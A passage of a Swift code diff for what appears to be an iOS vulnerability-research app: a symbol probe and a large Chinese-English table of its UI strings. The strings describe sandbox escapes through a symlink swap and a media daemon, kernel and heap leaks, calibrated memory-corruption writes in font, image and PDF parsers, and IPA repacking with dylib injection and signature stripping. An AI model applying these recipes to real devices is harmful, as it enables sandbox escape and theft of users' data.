inFormat = AudioStreamBasicDescription(mSampleRate: sampleRate, + mFormatID: format, + mFormatFlags: 0, + mBytesPerPacket: 0, + mFramesPerPacket: 1, + mBytesPerFrame: 0, + mChannelsPerFrame: channels, + mBitsPerChannel: 0, + mReserved: 0) + var outFormat = AudioStreamBasicDescription(mSampleRate: sampleRate, + mFormatID: kAudioFormatLinearPCM, + mFormatFlags: kAudioFormatFlagIsFloat | kAudioFormatFlagIsPacked, + mBytesPerPacket: 4, + mFramesPerPacket: 1, + mBytesPerFrame: 4, + mChannelsPerFrame: 1, + mBitsPerChannel: 32, + mReserved: 0) + var converter: AudioConverterRef? + let status = AudioConverterNew(&inFormat, &outFormat, &converter) + if let c = converter { AudioConverterDispose(c) } + return "AudioConverterNew(\(fourCC(format))) = \(status)" + } + + static func fourCC(_ v: UInt32) -> String { + let bytes = [UInt8((v >> 24) & 0xff), UInt8((v >> 16) & 0xff), UInt8((v >> 8) & 0xff), UInt8(v & 0xff)] + let s = bytes.map { ($0 >= 0x20 && $0 < 0x7f) ? String(UnicodeScalar($0)) : "?" }.joined() + return "'\(s)'" + } + + // ---- IOKit / private framework probes + + static func dlopenProbe(_ path: String, symbols: [String]) -> String { + guard let handle = dlopen(path, RTLD_NOW) else { + let err = dlerror().map { String(cString: $0) } ?? tl("dlopen 失败") + return "✗ \(path)\n \(err)" + } + var found: [String] = [] + var missing: [String] = [] + for s in symbols { + if dlsym(handle, s) != nil { found.append(s) } else { missing.append(s) } + } + var out = "✓ \(path)" + if !found.isEmpty { out += "\n resolved: " + found.joined(separator: ", ") } + if !missing.isEmpty { out += "\n missing: " + missing.joined(separator: ", ") } + return out + } +} diff --git a/Sources/RuntimeText.swift b/Sources/RuntimeText.swift new file mode 100644 index 0000000..feb8e40 --- /dev/null +++ b/Sources/RuntimeText.swift @@ -0,0 +1,657 @@ +import Foundation + +/// Runtime-output translation. +/// +/// Chinese literals in engine and UI code are the source of truth and stay where they are. +/// This table maps each one to its English rendering. In Chinese the input passes through +/// untouched; in English an unmapped string also passes through, so an ASCII name such as +/// "Documents" needs no entry. +/// +/// Keys are the exact literal text, including any leading/trailing spaces that were part +/// of the original string. +func tl(_ zh: String) -> String { + guard Lang.resolved == .en else { return zh } + return RuntimeText.map[zh] ?? zh +} + +enum RuntimeText { + // Filled by the localization pass. Every key is a Chinese literal that appears in the + // source; every value is its English rendering. + static let map: [String: String] = [ + "\n\n种子 ": "\n\nseed ", + "\n(达到资源预算,提前收敛 —— 这是刻意的,不是失败)": "\\n(resource budget reached, converged early — deliberate, not a failure)", + "\n内核未返回任何错误码": "\nkernel returned no error codes", + "\n属性: ": "\nattributes: ", + "\n状态: ": "\nstatus: ", + "\n若 27.0 未钳制,这些 0x41 来自越界读到的堆内容;27.2 会直接丢弃越界标记。": "\\nIf 27.0 does not clamp, these 0x41 bytes come from the out-of-bounds heap read; 27.2 discards the out-of-range marker outright.", + "\n负载 ": "\npayload ", + "\n通知注册被拒 ": "\nnotification registration refused ", + " 直接读 errno=": " direct read errno=", + " 落在当前容器内: ": " inside current container: ", + " 候选: ": " candidates: ", + " 分区 ": " partition ", + " 命中: ": " hits: ", + " 未读到内容 — ": " nothing read — ", + " 直接读 errno=": " direct read errno=", + " 直接读也成功 ": " direct read also succeeded ", + " B · 4 个条目 · 名字域 36 单元 / 72 字节": " B · 4 entries · name field 36 units / 72 bytes", + " B · 64 位=": " B · 64-bit=", + " B · 900 切片": " B · 900 slices", + " B · 解包 ": " B · unpacked ", + " B — 该平台未对该路径施加沙盒,本项不构成证据": " B — no sandbox on this path on this platform, not evidence", + " B — 该平台未施加沙盒": " B — no sandbox on this platform", + " B — 边界已被跨越": " B — boundary crossed", + " B → 产出 ": " B → output ", + " B 的 decmpfs 属性": " B decmpfs attribute", + " B(ZipWriter 产出,stored 条目)": " B (ZipWriter output, stored entries)", + " B,block-id 1 × 6(容量 4)": " B, block-id 1 × 6 (capacity 4)", + " B,单个 charstring 连续推入 300 个操作数后 endchar。\n": " B, one charstring pushing 300 consecutive operands then endchar.\\n", + " B,可用 ": " B available ", + " ms,对象数 ": " ms, objects ", + " ms;中心像素 RGBA = ": " ms; centre pixel RGBA = ", + " · 加密=": " · encrypted=", + " · 受阻 ": " · blocked ", + " · 尺寸 ": " · size ", + " · 层 ID 0x3F": " · layer id 0x3F", + " · 帧数 ": " · frames ", + " · 库 ": " · lib ", + " · 无沙盒 ": " · no sandbox ", + " · 真实写探针=": " · real write probe=", + " ← 两者不一致,说明 access() 不可信": " ← mismatch, so access() is not trustworthy", + " 一致": " consistent", + " 一致 / ": " consistent / ", + " 不一致": " inconsistent", + " 不存在": " absent", + " 个二进制": " binaries", + " 个内核指针候选": " kernel pointer candidates", + " 个可写": " writable", + " 个可读 · ": " readable · ", + " 个字形": " glyphs", + " 个属性": " attributes", + " 个文件": " files", + " 个文件 → ": " files → ", + " 个文件逐字节一致": " files byte-identical", + " 个文件,共 ": " files, ", + " 个条目": " entries", + " 个条目 · mode ": " entries · mode ", + " 个目录读写正常": " directories read/write ok", + " 个长度存活": " lengths survived", + " 个(mode ": " (mode ", + " 仍不可用: ": " still unusable: ", + " 可开 · ": " openable · ", + " 命中: ": " hits: ", + " 处": " sites", + " 处 @ ": " sites @ ", + " 处 · 偏移一致=": " sites · offsets match=", + " 处 · 旧模式残留 ": " sites · old mode residue ", + " 处 → 新模式 ": " sites → new mode ", + " 处: ": " sites: ", + " 处并已保存(备份 ": " sites and saved (backup ", + " 处(应为 0)": " sites (expected 0)", + " 字节": " bytes", + " 字节 0x41": " bytes 0x41", + " 存在且": " present and ", + " 存在但被拒 · ": " present but refused · ", + " 存活 — ": " survived — ", + " 已用 / 预算 ": " used / budget ", + " 张表": " tables", + " 是文件而不是目录 —— 跳过": " is a file, not a directory — skipped", + " 条": " items", + " 条 · type=": " items · type=", + " 条目": " entries", + " 条目 / ": " entries / ", + " 条目 · ": " entries · ", + " 核": " cores", + " 次 —— 该平台不允许对自身端口注册通知,": " times — this platform does not allow notification registration on own ports, ", + " 次操作,无异常返回": " operations, no abnormal returns", + " 次端口分配与回收,": " port allocations and releases, ", + " 段标记填充字节": " segment marker padding bytes", + " 目录读写正常": " directory read/write ok", + " 类错误码": " error classes", + " 行": " rows", + " 被拒绝 — ": " refused — ", + " 解析出 ": " parsed ", + " 连续 ": " consecutive ", + " 页": " pages", + " 项": " entries", + " 项 · ": " entries · ", + " 项 · 每项 ": " entries · each ", + " 项(含 ../ 路径)→ 遏制必须由调用方负责": " entries (with ../ paths) → containment is the caller's job", + "\")": "\")", + ") · 原始大小 ": ") · raw size ", + "),经链接读到 ": "), via link read ", + "-12203 = 存在但被拒": "-12203 = present but refused", + "-17913 = 不存在": "-17913 = absent", + "0x 前缀写法: ": "0x prefix form: ", + "1. 不存在的深层目录自动创建: ": "1. missing deep directory auto-created: ", + "2. Container.write 自动建父目录: 通过(读回 \"": "2. Container.write auto-creates parents: passed (read back \"", + "2. Container.write: 失败 ": "2. Container.write: failed ", + "2000 层嵌套": "2000 nesting levels", + "27.0 扫描边界 0x48 = 72 B": "27.0 scan bound 0x48 = 72 B", + "27.0 期望:push 路径无计数检查,操作数栈越界。\n": "27.0 expectation: the push path has no count check, the operand stack overruns.\\n", + "27.0 期望:分配截断 → 转换循环越界写。27.2 期望:_TIFFCheckMalloc_type 拒绝。": "27.0 expectation: allocation truncation → the conversion loop writes out of bounds. 27.2 expectation: _TIFFCheckMalloc_type refuses.", + "27.0 期望:切片上限未检查 → 插件内越界。27.2 期望:\"too many slices!\"。": "27.0 expectation: the slice cap is unchecked → overrun inside the plugin. 27.2 expectation: \"too many slices!\".", + "27.2 收紧到 0x24 = 36 B": "27.2 tightened to 0x24 = 36 B", + "27.2 期望:Push/Pop 两道栈保护在解释前拒绝该字体。\n": "27.2 expectation: Push/Pop stack guards reject the font before interpretation.\\n", + "3 次解码指纹": "3-decode fingerprint", + "3. 旧 UUID 路径重挂: ": "3. old UUID path remount: ", + "32 轮完成,进程存活": "32 rounds complete, process alive", + "4. isWritableFile(容器根)=": "4. isWritableFile(container root)=", + "64 × 4 KB 随机内容": "64 × 4 KB random content", + ": 不可见": ": not visible", + ": 解码失败": ": decode failed", + ": 读取被拒绝(沙盒)": ": read refused (sandbox)", + "ANE 用户态入口探测": "ANE user-space entry probe", + "AVC 参数集路径已触发": "AVC parameter set path triggered", + "AVD.videodecoder 插件": "AVD.videodecoder plugin", + "AVD.videodecoder 插件(非 kext)": "AVD.videodecoder plugin (not a kext)", + "Apple 未将其视为安全问题,无 CVE": "Apple does not treat it as a security issue, no CVE", + "CGBitmapContext 创建失败": "CGBitmapContext create failed", + "CGDataProvider 创建失败": "CGDataProvider create failed", + "CGFont 拒绝该字体数据": "CGFont refused the font data", + "CGImageDestination 创建失败": "CGImageDestination create failed", + "CGImageSource 拒绝该数据": "CGImageSource refused the data", + "CGPDFDocument 解析失败(文件被拒绝)": "CGPDFDocument parse failed (file refused)", + "CHHapticEngine 初始化失败: ": "CHHapticEngine init failed: ", + "CHHapticEngine 启动成功": "CHHapticEngine started", + "CHHapticEngine 启动成功(沉浸式音频会话已建立)": "CHHapticEngine started (immersive audio session established)", + "CHHapticEngine 未尝试": "CHHapticEngine not attempted", + "CMGetDMVersionLevelFromRPU 未导出": "CMGetDMVersionLevelFromRPU not exported", + "CTFontGetLigatureCaretPositions 返回 ": "CTFontGetLigatureCaretPositions returned ", + "CoreMedia 符号不可用": "CoreMedia symbols unavailable", + "CoreMedia 符号解析失败,或 XPC 连接无法创建": "CoreMedia symbol resolution failed, or the XPC connection cannot be created", + "DRC 路径探测完成": "DRC path probe complete", + "EACCES 沙盒拒绝访问": "EACCES sandbox access refusal", + "EDQUOT 超出配额": "EDQUOT over quota", + "EEXIST 已存在": "EEXIST already exists", + "EISDIR 目标是目录": "EISDIR target is a directory", + "ENAMETOOLONG 名称过长": "ENAMETOOLONG name too long", + "ENOENT 父目录或文件不存在": "ENOENT parent or file absent", + "ENOSPC 空间不足": "ENOSPC no space", + "ENOTDIR 路径中间是文件": "ENOTDIR path component is a file", + "EPERM — 沙盒拒绝": "EPERM — sandbox refusal", + "EPERM 操作被拒绝": "EPERM operation refused", + "EROFS 只读文件系统": "EROFS read-only filesystem", + "EXDEV 跨卷(.atomic 写到了别的卷)": "EXDEV cross-volume (.atomic landed on another volume)", + "FigXPCCreateBasicMessage('Curl') 失败": "FigXPCCreateBasicMessage('Curl') failed", + "FontParser · charstring 解释器": "FontParser · charstring interpreter", + "GPS 读取存活": "GPS read survived", + "GPT 头: 条目表 LBA ": "GPT header: entry array LBA ", + "GPT 镜像已构造并解析": "GPT image built and parsed", + "HEVC 参数集 = ": "HEVC parameter set = ", + "HEVC 层路径已触发": "HEVC layer path triggered", + "HID 路径可达性": "HID path reachability", + "IOHIDFamily · caps 表查找": "IOHIDFamily · caps table lookup", + "IOKit 事件入口探测": "IOKit event entry probe", + "IOPSCopyPowerSourcesInfo 不可用": "IOPSCopyPowerSourcesInfo unavailable", + "IPA 产出": "IPA output", + "IPA 手术链路可用": "IPA surgery pipeline available", + "ImageIO · 图像解析": "ImageIO · image parsing", + "ImageIO · 纹理与编码": "ImageIO · textures and codecs", + "Info.plist 读取失败,跳过字段改写": "Info.plist read failed, skipping field rewrite", + "LigCaret 查询完成": "LigCaret query complete", + "MDLAsset 载入完成 ": "MDLAsset load complete ", + "OOB 写": "OOB write", + "OOB 读": "OOB read", + "PDF 无第 ": "PDF has no page ", + "PDF 解码路径已触发": "PDF decode path triggered", + "Payload/ 下没有 .app": "no .app under Payload/", + "RockRidge CL/PL 环:27.0 与 27.2 都未修(上游已修,Apple 未取)": "RockRidge CL/PL cycle: unfixed in both 27.0 and 27.2 (fixed upstream, Apple did not take it)", + "RockRidge 路径已遍历": "RockRidge path traversed", + "SBHomeScreenService 在进程内: ": "SBHomeScreenService in-process: ", + "SQLite3 不可用": "SQLite3 unavailable", + "SpringBoard 路径探测": "SpringBoard path probe", + "Type-5 阴影的写入是值可控的,但短溢出会被相邻 VLA 吸收。逐级抬升 R,确定该构建上栈布局开始失效的维度。": "The Type-5 shading write is value-controlled, but a short overflow is absorbed by the adjacent VLA. Step R upward to find the dimension at which this build's stack layout starts to break.", + "UDID (设备)": "UDID (device)", + "XNU · ipc_port.c 请求表消费方": "XNU · ipc_port.c request-table consumers", + "XNU 内核": "XNU kernel", + "archive_read_new 失败": "archive_read_new failed", + "audioCustom 事件已投递": "audioCustom event delivered", + "caret 坐标: ": "caret positions: ", + "charstring 推 300 个操作数": "charstring pushes 300 operands", + "codespace 长度 128": "codespace length 128", + "com.apple.decmpfs 是内核压缩文件系统用的属性。改它等于直接改内核解压的输入 —— CVE-2026-113910 就是这条路径上「解压产出少于预期」时内核把未写满的页缓冲交给用户态。这里可以手动设一个、读回来、再删掉。": "com.apple.decmpfs is the attribute the kernel's compressed filesystem uses. Changing it changes the input the kernel decompresses — CVE-2026-113910 is exactly this path: when decompression under-produces, the kernel hands the unwritten page buffer back to user space. Here you can set one by hand, read it back, then delete it.", + "consume 后读取失败: ": "read after consume failed: ", + "decmpfs 操作": "decmpfs operations", + "dlopen 失败": "dlopen failed", + "entitlements: 无法读取(SecTask 不可用或为空)": "entitlements: unreadable (SecTask unavailable or empty)", + "fcTL 声明 26B 实到 4B": "fcTL declares 26B, 4B present", + "getifaddrs 失败": "getifaddrs failed", + "hosts 表": "hosts table", + "iOS 27.2 起修复": "fixed since iOS 27.2", + "issue_file 被拒: ": "issue_file refused: ", + "libarchive 不可用": "libarchive unavailable", + "libarchive 的 2 字节堆越界与 CoreMedia 的 28 字节结构体外写,是整套中仅有的两个「写穿过对象边界」的形状。前者精确但浅,后者深且落在保存寄存器区。同一 CVE 下的 CAB 站点与 GPT 分区名越界读一并标定。": "libarchive's 2-byte heap overrun and CoreMedia's 28-byte write past the struct are the only two \"write across an object boundary\" shapes in the whole set. The former is precise but shallow; the latter is deep and lands in the saved-register area. The CAB site under the same CVE and the GPT partition-name OOB read are calibrated alongside.", + "libarchive 解包 ": "libarchive unpacked ", + "libarchive 返回 ": "libarchive returned ", + "libarchive.2.dylib 无法 dlopen(沙盒或路径受限)": "libarchive.2.dylib cannot dlopen (sandbox or path restricted)", + "magic cmpf · 类型 ": "magic cmpf · type ", + "mediaplaybackd.bytestream.xpc 对任何沙盒应用可达。守护进程以自身凭据打开客户端指定的绝对路径,并把活描述符放进回复的 ByteStreamDetails。描述符级 I/O 不受客户端沙盒的路径检查约束 —— 应用自身 open() 返回 EPERM 的文件,其内容可经该描述符完整读回。": "mediaplaybackd.bytestream.xpc is reachable from any sandboxed app. The daemon opens the client-specified absolute path with its own credentials and puts a live descriptor into the reply's ByteStreamDetails. Descriptor-level I/O is not subject to the client sandbox's path checks — a file whose open() returns EPERM for the app itself can be read back in full through that descriptor.", + "mkdir 失败: ": "mkdir failed: ", + "networkd 偏好": "networkd prefs", + "opcode 已被封 (-16158)": "opcode sealed (-16158)", + "plist 语法错误,未写入": "plist syntax error, not written", + "registerAudioResource 失败: ": "registerAudioResource failed: ", + "sandbox_extension 符号不可用": "sandbox_extension symbols unavailable", + "sandbox_extension_issue_file / consume 无法解析": "sandbox_extension_issue_file / consume cannot be resolved", + "sandbox_extension_issue_file 在签发时解析符号链接,但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌绑定签发时刻解析出的目标,而内核对消费时刻所用路径不做复核。序列为:沙盒内建立链接 L 指向沙盒内文件 S → 对 L 签发扩展 → 将 L 重指向沙盒外目标 T → 消费令牌后经 L 读取。": "sandbox_extension_issue_file resolves the symlink at issue time but does not enforce SANDBOX_EXTENSION_NOFOLLOW. The token it returns is bound to the target resolved at issue time, and the kernel never re-verifies the path used at consume time. The sequence: create link L in the sandbox pointing at in-sandbox file S → issue the extension for L (the kernel records S) → repoint L at out-of-sandbox target T → consume the token and read through L.", + "setxattr 失败 errno=": "setxattr failed errno=", + "symlink(decoy) 失败: ": "symlink(decoy) failed: ", + "symlink(target) 失败: ": "symlink(target) failed: ", + "— 判定 —": "— verdict —", + "— 基线 —": "— baseline —", + "— 失效模式验证 —": "— failure mode verification —", + "— 存在性预言机 —": "— existence oracle —", + "— 对照 —": "— control —", + "— 平台限制 —": "— platform limit —", + "— 目录枚举 —": "— directory listing —", + "— 读取 —": "— read —", + "✓ AudioCodecs 可加载": "✓ AudioCodecs loadable", + "✓ 书签 ": "✓ bookmarked ", + "✓ 已创建 ": "✓ created ", + "✓ 已加入书签": "✓ bookmarked", + "✗ AudioCodecs 无法 dlopen": "✗ AudioCodecs cannot dlopen", + "上下文创建失败": "context create failed", + "不可用": "unavailable", + "不可见": "not visible", + "不可读": "unreadable", + "不存在": "absent", + "不存在 ": "absent ", + "不存在 (-17913)": "absent (-17913)", + "不存在(未修复)": "absent (unfixed)", + "不是 Mach-O": "not a Mach-O", + "不是 decmpfs(magic 0x": "not decmpfs (magic 0x", + "两者均失败:直接读 errno ": "both failed: direct errno ", + "两者都需要稳定的堆布局控制,而这正是上一阶段泄露所提供的。": "Both need stable heap-layout control, which is exactly what the previous stage's leaks provide.", + "个原语": " primitives", + "主二进制读取失败(可能已加密)": "main binary read failed (possibly encrypted)", + "主密码文件(通常不可读)": "master password file (usually unreadable)", + "主机名": "hostname", + "事件投递失败: ": "event delivery failed: ", + "二进制": "binary", + "产出": "output", + "产出 ": "output ", + "会话建立失败": "session setup failed", + "低电量模式": "low power mode", + "信息泄露": "info leak", + "值偏移 +65536": "value offset +65536", + "值可控写": "value-controlled write", + "值可控写与地址泄露相加,构成构造可控状态的全部要素;所缺的是将写转为执行的环节。": "Value-controlled write plus address disclosure is every element needed to build controlled state; what is missing is the step that turns the write into execution.", + "元数据读取完成": "metadata read complete", + "充电中": "charging", + "先取得地址与内容。decmpfs 欠产出将内核页缓冲尾部交回用户态;TIFF 截断条带与 EXIF 短读将进程堆残留交回图像与元数据;CoreMedia bytestream 与 sandbox_extension 越过沙盒边界取回文件内容。": "Addresses and content come first. decmpfs under-production hands the kernel page-buffer tail back to user space; the truncated TIFF strip and the EXIF short read hand process-heap residue back as image and metadata; the CoreMedia bytestream and sandbox_extension cross the sandbox boundary and retrieve file contents.", + "全局偏好": "global prefs", + "全局偏好(/private 前缀)": "global prefs (/private prefix)", + "全部 ": "all ", + "全部读取": "read all", + "关": "off", + "内容": "content", + "内容 (": "content (", + "内核": "kernel", + "内核面": "kernel surface", + "写入失败: ": "write failed: ", + "写入探测属性": "write probe attribute", + "写入被拒 (-12878)": "write refused (-12878)", + "分配/拆除路径可用,通知武装被平台拒绝": "allocate/teardown path available, notification arming refused by the platform", + "分配路径已触发": "allocation path triggered", + "创建 ": "created ", + "判定依据:直接读被拒 且 经链接读成功": "verdict basis: direct read refused AND read via link succeeded", + "十六进制": "hex", + "十六进制查找: ": "hex search: ", + "协议表": "protocol table", + "压缩类型 3 = LZX": "compression type 3 = LZX", + "发现 ": "found ", + "取自本进程的 Mach-O:": "Mach-O taken from this process: ", + "只支持 64 位 Mach-O": "only 64-bit Mach-O supported", + "只读": "read-only", + "只读(探针未通过)": "read-only (probe failed)", + "可写": "writable", + "可写根目录: ": "writable roots: ", + "可开": "openable", + "可开 ": "openable ", + "可开(code 0)": "openable (code 0)", + "可用空间: ": "free space: ", + "可见": "visible", + "可读": "readable", + "可读域: ": "readable domain: ", + "可达性探测": "reachability probe", + "合计 ": "total ", + "名称 → ": "name → ", + "否": "no", + "否(需 IOKit 平台 Expert 接口)": "no (needs the IOKit platform expert interface)", + "启动 UUID": "boot UUID", + "启动时间": "boot time", + "命中 ": "hit ", + "回复类型 ": "reply type ", + "回复类型: ": "reply type: ", + "回复里没有 fd": "no fd in reply", + "因此握手收不到任何回复。真机上该服务常驻,握手应返回字典。": "So the handshake gets no reply. On a real device the service is resident and the handshake should return a dictionary.", + "因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM,": "So the primitive cannot produce evidence on this platform. On a real device the direct read should return EPERM,", + "在取得稳定泄露之后,才有条件讨论将溢出写成什么值;否则只能触发崩溃。": "Only after a stable leak is there any basis for choosing what the overflow writes; before that, it can only crash.", + "在标定所得长度上,以 PDF 中选定的 double 位模式决定被覆盖的指针。崩溃地址即证据 —— 它证明写入内容由攻击者控制,而非仅证明发生了崩溃。": "At the calibrated length, the double bit pattern chosen in the PDF decides the pointer that gets overwritten. The fault address is the evidence — it proves the written content is attacker-controlled, not merely that a crash happened.", + "坐标即追链读到的 16 位值": "the positions are the 16-bit values the chain read", + "基线已采集": "baseline captured", + "声明长度 65518": "declared length 65518", + "处理中…": "working…", + "备份": "backups", + "备份往返 ": "backup round-trip ", + "外设": "peripheral", + "大小": "size", + "失败": "failed", + "失败 —— ../ 逃出了目标目录": "failed — ../ escaped the destination", + "失败: ": "failed: ", + "头部空隙不足:需要 ": "header gap insufficient: need ", + "字体 / Model I/O": "fonts / Model I/O", + "字体加载成功 name=": "font loaded name=", + "字体在 CGFont 层被拒绝": "font refused at the CGFont layer", + "字体在解析阶段被拒绝": "font refused at parse stage", + "字体安装": "font install", + "字体已加载并绘制": "font loaded and drawn", + "字符串替换 ": "string replace ", + "字符串替换 Cinder27 → Cind3r27:": "string replace Cinder27 → Cind3r27: ", + "字符串替换失败:": "string replace failed: ", + "存在": "present", + "存在·被拒 ": "present·refused ", + "存在但被拒 (-12203)": "present but refused (-12203)", + "存在性预言机": "existence oracle", + "存在(已修复)": "present (fixed)", + "存活: ": "survived: ", + "守护进程以自身凭据打开客户端指定的路径": "the daemon opens the client-specified path with its own credentials", + "完成": "done", + "容器占用: ": "container usage: ", + "容器已处于正常状态,无需修复": "container already healthy, no repair needed", + "容器根": "container root", + "容器根: ": "container root: ", + "对照 直接读 ": "control direct read ", + "对照: 应用自身 open() 被 EPERM 拒绝": "control: the app's own open() refused with EPERM", + "对自身端口注册通知返回 -300 (KERN_INVALID_CAPABILITY)。": "notification registration on own ports returns -300 (KERN_INVALID_CAPABILITY).", + "将上述产物转为可用形式:IPA 改包、二进制注入、字节级替换、属性改写、数据库读取。本层不依赖任何漏洞,但它是「漏洞能力」最终交付到手上的形态。": "Turn those artifacts into usable form: IPA repacking, binary injection, byte-level replacement, attribute rewriting, database reads. This layer depends on no vulnerability, but it is the shape in which \"vulnerability capability\" is finally delivered into the hand.", + "尺寸 ": "size ", + "届时「直接读被拒 + 经链接读成功」即为越界成立的判定。": "At that point \"direct read refused + read via link succeeded\" is the verdict that the boundary was crossed.", + "工作区": "Workspace", + "工具会解包、改 Info.plist、往主二进制里插 LC_LOAD_DYLIB、做字节级字符串替换、去掉 LC_CODE_SIGNATURE,然后重新打成 zip。产出仍然是未签名的 —— 你用同一套证书签它。": "The tool unpacks, edits Info.plist, inserts LC_LOAD_DYLIB into the main binary, does byte-level string replacement, removes LC_CODE_SIGNATURE, then repacks into a zip. The output is still unsigned — you sign it with the same certificate.", + "工具链自检": "toolchain self-test", + "工具链落地": "toolchain landed", + "已写入 ": "written ", + "已创建但探针失败: ": "created but probe failed: ", + "已取回": "retrieved", + "已注册到用户字体域:": "registered into user font domain: ", + "已移除": "removed", + "已选择 ": "selected ", + "市场名称": "marketing name", + "帧数 ": "frames ", + "广告标识符": "advertising identifier", + "序列号可读": "serial readable", + "序列开始: ": "sequence start: ", + "序列结束: ": "sequence end: ", + "应用与系统进程": "apps and system processes", + "开": "on", + "引擎启动失败: ": "engine start failed: ", + "引擎已停止": "engine stopped", + "归档 ": "archive ", + "当前为模拟器:模拟器不对应用施加沙盒,直接读与经链接读都会成功,": "This is the simulator: it applies no sandbox to apps, so both the direct read and the read via the link succeed,", + "当前为模拟器:模拟器内不运行 mediaplaybackd,该 Mach 服务无人监听,": "This is the simulator: mediaplaybackd does not run inside it, no one listens on that Mach service,", + "成功": "ok", + "所有标准目录已存在": "all standard directories exist", + "手术失败:": "surgery failed: ", + "手术完成:": "surgery complete: ", + "手术未完成": "surgery incomplete", + "打开失败": "open failed", + "执行": "run", + "扩展属性": "extended attributes", + "扫描完成": "scan complete", + "找不到主二进制名": "main binary name not found", + "把字体文件注册进本进程的字体域。iOS 允许应用注册用户字体,注册后 CoreText 立刻可见 —— 这是改机里唯一一条完全不需要任何越权就能改「系统观感」的路径,代价是只在本进程生效。": "Register font files into this process's font domain. iOS lets apps register user fonts, visible to CoreText immediately — the one device-modification path that needs no privilege at all to change the \"system look\"; the price is that it only takes effect in this process.", + "把容器内的偏好、文稿与工具产物打成 ZIP。归档走同一写入器,可被 libarchive 解回。": "Packs the container's preferences, documents and tool output into a ZIP. The archive goes through the same writer and reads back with libarchive.", + "持有授权": "entitlement held", + "探测": "probe", + "探针 = 建文件 → 写 → fsync → 读回 → 比对 → 删除": "probe = create file → write → fsync → read back → compare → delete", + "接受 · 尺寸 ": "accepted · size ", + "握手建立: ": "handshake established: ", + "握手未完成": "handshake incomplete", + "握手被拒绝": "handshake refused", + "搜索串为空": "search string empty", + "搜索字符串": "search string", + "操作数 300 > 栈容量 48": "300 operands > stack capacity 48", + "数据库": "database", + "数据过短": "data too short", + "整数溢出": "integer overflow", + "文本查找 Cinder27: ": "text search Cinder27: ", + "文本,或 41 42 43 / 0x414243": "text, or 41 42 43 / 0x414243", + "新名字": "new name", + "无": "none", + "无 GPT 签名": "no GPT signature", + "无可用属性": "no attributes available", + "无外部地址": "no external address", + "无授权 — 只能走无线链路": "no entitlement — radio link only", + "无数据": "no data", + "无条目(解码器在块层就停了)": "no entries (decoder stopped at the block layer)", + "无法 dlopen CoreMedia 或解析 FigXPC 入口": "cannot dlopen CoreMedia or resolve the FigXPC entry points", + "无法创建 ": "cannot create ", + "无法建立会话": "cannot establish session", + "无法读取自身二进制": "cannot read own binary", + "无线链路": "radio link", + "无错误": "no error", + "无需竞态窗口": "no race window needed", + "无(符号被 strip 或不可见)": "none (symbol stripped or invisible)", + "日历附件遏制路径探测": "Calendar attachment containment probe", + "是": "yes", + "显示名称": "display name", + "更多": "more", + "替换 ": "replaced ", + "替换: ": "replace: ", + "替换串不能比原串长 —— 这是原地改写,不改文件布局,所以不会破坏任何偏移。注入 LC_LOAD_DYLIB 需要头部有空隙,没有就会明确报出来。": "The replacement cannot be longer than the original — this is an in-place rewrite that keeps the file layout, so no offset is disturbed. Injecting LC_LOAD_DYLIB needs a header gap; if there is none it is reported explicitly.", + "替换串不能比原串长(": "replacement cannot exceed original (", + "替换为": "replace with", + "替换失败: ": "replace failed: ", + "替换并保存": "replace and save", + "替换(可选,不能更长)": "replace (optional, not longer)", + "最低系统": "minimum OS", + "有效(../ 未逃出)": "effective (../ did not escape)", + "有断言不成立": "assertion failed", + "有断言失败": "assertion failed", + "服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。": "no service listener — this build may have removed or renamed the Mach service.", + "服务无人监听(本平台不适用)": "no listener for the service (not applicable here)", + "服务有回复但握手被拒绝。": "service replied but the handshake was refused.", + "服务有回复但非字典 —— 握手被拒绝。": "service replied but not with a dictionary — handshake refused.", + "服务表": "service table", + "未修复": "unfixed", + "未发现内核指针": "no kernel pointers found", + "未取到数据": "no data retrieved", + "未命中": "miss", + "未命中,未写入": "miss, not written", + "未在产出里找到源标记的填充区": "no marker padding found in the output", + "未知": "unknown", + "未读到内容": "no content read", + "未返回数据(沙盒或接口不可用)": "no data returned (sandbox or interface unavailable)", + "本容器内 IconState: ": "IconState in this container: ", + "本模块仍完成了 ": "this module still completed ", + "本次新建: ": "created now: ", + "本进程": "this process", + "机型": "model", + "权限受限": "entitlement-gated", + "权限面已采集": "privilege surface captured", + "权限面测绘": "privilege surface mapping", + "条目 ": "entries ", + "构建号": "build", + "构造 ": "built ", + "枚举目录": "enumerate", + "查找": "find", + "查找 / 替换": "find / replace", + "查找替换全部断言通过": "all find/replace assertions passed", + "查询(只读)": "query (read-only)", + "校验方法不存在(27.0 未修复)": "validator absent (unfixed in 27.0)", + "校验方法存在(27.2 已修复)": "validator present (fixed in 27.2)", + "植入 ": "planted ", + "沉浸式音频入口探测完成": "immersive audio entry probe complete", + "沙盒 / 签名 / entitlements": "sandbox / signing / entitlements", + "注入 LC_LOAD_DYLIB → ": "inject LC_LOAD_DYLIB → ", + "注入 LC_LOAD_DYLIB:ncmds ": "inject LC_LOAD_DYLIB: ncmds ", + "注入 dylib 路径": "dylib path to inject", + "注入失败: ": "inject failed: ", + "注入未成功(头部无空隙):": "injection failed (no header gap): ", + "注册失败(无错误信息)": "registration failed (no error)", + "注册失败:": "registration failed: ", + "活跃": "active", + "消费 ": "consume ", + "清理残留探针 ": "cleaning leftover probes ", + "温度": "temperature", + "渲染存活 — 该构建未受影响": "render survived — this build unaffected", + "渲染存活(与源分析的负结果一致)": "render survived (matches the source-analysis negative)", + "源 ": "source ", + "源 IPA": "source IPA", + "源 JPEG ": "source JPEG ", + "源解码失败": "source decode failed", + "源解码失败(标记先被拒绝了)": "source decode failed (marker refused first)", + "溢出阈值标定": "overflow threshold calibration", + "热状态": "thermal state", + "版本": "version", + "物理内存": "physical memory", + "生成改机 IPA": "build modified IPA", + "生效用户设置": "effective user settings", + "用户态可触及的内核入口数量有限。ipc_port 请求表索引竞态无 entitlement 门槛;decmpfs 已在泄露层验证。本层度量的是「能否将用户态的错误转为内核侧的状态变化」。": "The kernel entries reachable from user space are few. The ipc_port request-table index race has no entitlement gate; decmpfs is already verified in the leak layer. This layer measures whether a user-space error can be turned into kernel-side state change.", + "电源": "power", + "电量": "battery", + "目标": "target", + "目标 ": "target ", + "目标 ": "target ", + "目标创建失败": "target create failed", + "目标文件": "target file", + "直接 open 成功(意外)": "direct open succeeded (unexpected)", + "直接 open 被拒 errno=": "direct open refused errno=", + "直接读也成功 ": "direct read also succeeded ", + "直接读被拒 (errno ": "direct read refused (errno 